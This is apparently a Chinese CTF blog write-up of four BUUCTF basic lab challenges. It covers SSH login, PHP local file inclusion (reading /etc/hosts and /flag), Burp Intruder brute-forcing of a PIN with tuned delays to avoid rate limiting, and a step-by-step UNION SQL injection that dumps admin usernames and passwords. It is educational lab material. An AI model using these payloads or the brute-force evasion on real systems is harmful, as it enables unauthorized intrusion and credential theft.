BUUCTF——Basic

目录

Linux Labs

BUU LFI COURSE 1

BUU BRUTE 1

BUU SQL COURSE 1


Linux Labs

  • 启动靶机。
  • 根据题目与ssh有关,并且给出了用户名和密码。使用kail进行渗透。
  • SSH是一种网络协议,用于计算机之间的加密登录。它通常用于Linux系统之间的远程登录、文件传输和其他网络服务。SSH工作原理简单来说是:客户端将连接信息发送给服务器,服务器会检查客户机的身份,一旦身份验证通过,客户机就可以通过命令行界面或其他方式控制和获取服务器的数据。
  • 地址和端口号均已给出,地址为node4.buuoj.cn,端口号为27993。
  • 以root权限打开kail终端。
  • 输入:ssh -p 27993 node4.buuoj.cn,远程登陆服务器。
    • 【注】第一次输入的时候显示ssh: Could not resolve hostname,查了一下是网络的问题。尝试ping别的网站显示域名解析失败,找了很多方法都没有搞定,只知道是kail网络管理器的问题。最后只能重装kail,网络问题解决。(一定要注意kail镜像是否与主机的处理器匹配)
    • 【注】-p:指定远程主机的SSH端口,默认是22,这里修改为27993。
  • 输入:ls,查看当前目录,发现为空。
  • 输入:cd /,切换到根目录。
  • 输入:ls,查看当前目录,发现flag.txt。
  • 输入:cat flag.txt,查看文件,获得flag。

BUU LFI COURSE 1

  • 启动靶机。
  • 对代码进行解析。
  • <?php
    highlight_file(__FILE__); //高亮显示当前文件
    
    if(isset($_GET['file'])) { //isset()判断是否存在GET参数file
        $str = $_GET['file'];
        include $_GET['file']; 
        //include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
    }
  • 【注】include语句包含来自GET参数file,如果攻击者通过构造恶意语句,将file参数设置为任意文件路径,就可以实现任意文件包含,并且只需要提供要包含文件的路径或文件名,无需指定其类型。PHP会自动判断文件类型并进行解析。例如:/?file=文件路径名/文件名。
  • 随便输入一个文件路径,返回了一些信息。发现当前运行程序的文件路径为/var/www/html/index.php。
  • 看到这个路径名让我想到了linux系统,查看自己的虚拟机,果然是linux系统的文件路径。
  • 尝试是否能返回linux系统中的文件,按照自己虚拟机有的文件,构造/?file=/etc/hosts,成功。
  • 猜想如果有flag文件应该是放在根目录下,尝试构造/?file=/flag.txt(/代表网站根目录),发现没有用。
  • 根据include语句包含文件时无需指定其类型,尝试构造/?file=/flag,得到flag。

BUU BRUTE 1

  •  启动靶机。
  • 尝试弱口令,用户名输入admin,密码输入admin,提示密码为四位数字。说明用户名正确,直接对密码进行爆破。(也可以通过bp爆破用户名,我这纯属运气好)
  • 打开BurpSuite,打开浏览器代理(与BurpSuite设置的一致),用户名输入admin,密码随便输入,点击提交,BurpSuite成功抓包。右键将包发送给intruder。
  • 点击测试器,修改爆破位置。
  • 在有效载荷中设置爆破范围。
  • 设置线程数,加速爆破。
  • 结果发现有两种长度的返回值,分别查看,发现有请求错误,说是请求太多。猜测是短时间爆破的次数太多了,尝试减少每次访问的时间间隔。
  • 经过几次尝试,确定合理的方案是单线程,时间间隔为100毫秒,即1秒钟进行10次尝试,不会导致服务端进行访问拦截。
  • 最后爆破成功,获得flag。

BUU SQL COURSE 1

  • 启动靶场。
  • 点击三个测试新闻都没有发现什么线索。点击登录,看来是需要对用户名和密码进行爆破。
  • 尝试使用弱口令,用户名admin,密码admin进行登录,提示用户名或密码错误,说明没办法单独对用户名或密码进行爆破。那这样就会很麻烦,尝试找找其他的线索。
  • 根据题目,应该是与SQL注入有关,那应该先找到SQL的注入点。
  • 发现点击测试新闻1,2,3其URL中分别对应1,2,3,存在SQL注入的可能。
  • 按F12查看网络,发现一个查询请求,并且返回了对应的字段。
  • 测试该点是否可以进行SQL注入。复制出该请求地址进行单独测试。
  • 具体步骤:
    • 1、判断是否存在SQL注入
      • 1 and 1=1 // 成功返回字段
        1 and 1=2 // 返回字段失败
      • and 1=2恒为假,无返回信息,故存在SQL注入的漏洞。
    • 2、判断字段数
      • 1 order by 1 // 返回信息
        1 order by 2 // 返回信息
        1 order by 3 // 未返回信息
      • 只有1 order by 3未返回信息,说明此表只有两个字段。
      • 【注】在SQL注入中,order by语句用于对查询结果进行排序,从而获取数据库表的列数。
        • 例如,在一个SQL注入漏洞中,我们可以输入:?id=1 order by 3。这条SQL语句的意思是:sql select * from users where id=1 order by 3
        • 这里的order by 3表示按第3列进行排序,当我们提交该语句时,会有两种情况:
          • 查询成功,页面正常显示结果,这表示users表至少有3列。
          • 查询失败,页面显示错误。这表示users表少于3列。
        • 所以,通过尝试不同的order by值(1,2,3...n),我们可以判断出users表的最大列数。
    • 3、确定回显位置
      • id=0 union select 1,2 // 已知该表有两个字段,所以可以使用两个值进行查询
      • 【注】确定注入点输入的数据在页面的哪个位置进行回显,知道了回显位置,我们就可以构造针对性的语句来读取数据。
      • 【注】在SQL注入中,union select语句用于执行联合查询,从而读取数据库数据。
        • 例如,在一个SQL注入漏洞中,我们可以输入:?id=0' union select 1,2。这条SQL语句的意思是:sql select * from users where id=0' union select 1,2
        • 这条语句会先执行id=0'的查询,然后将union select 1,2的结果与之联合,返回所有列的值为1,2的行。
    • 4、查询数据库名
      • ​​​​​​​id=0 union select 1,database() // 返回数据库名
      • ​​​​​​​
    • 5、查询数据库中所有的表
      • // 返回news数据库中的所有表
        ​​​​​​​id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='news') 
      • 【注】select group_concat()是一个MySQL函数,用于将字段的值组合成一个字符串。
    • 6、查看表中的字段
      • // 获得admin表中的字段
        ​​​​​​​id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='admin')
    • 7、获得字段的值
      • // 获得用户名和密码
        ​​​​​​​id=0 union select (select group_concat(username) from admin),(select group_concat(password) from admin)
  • 使用获得的用户名和密码进行登录,获得flag。
  • 6
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

恣睢s

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值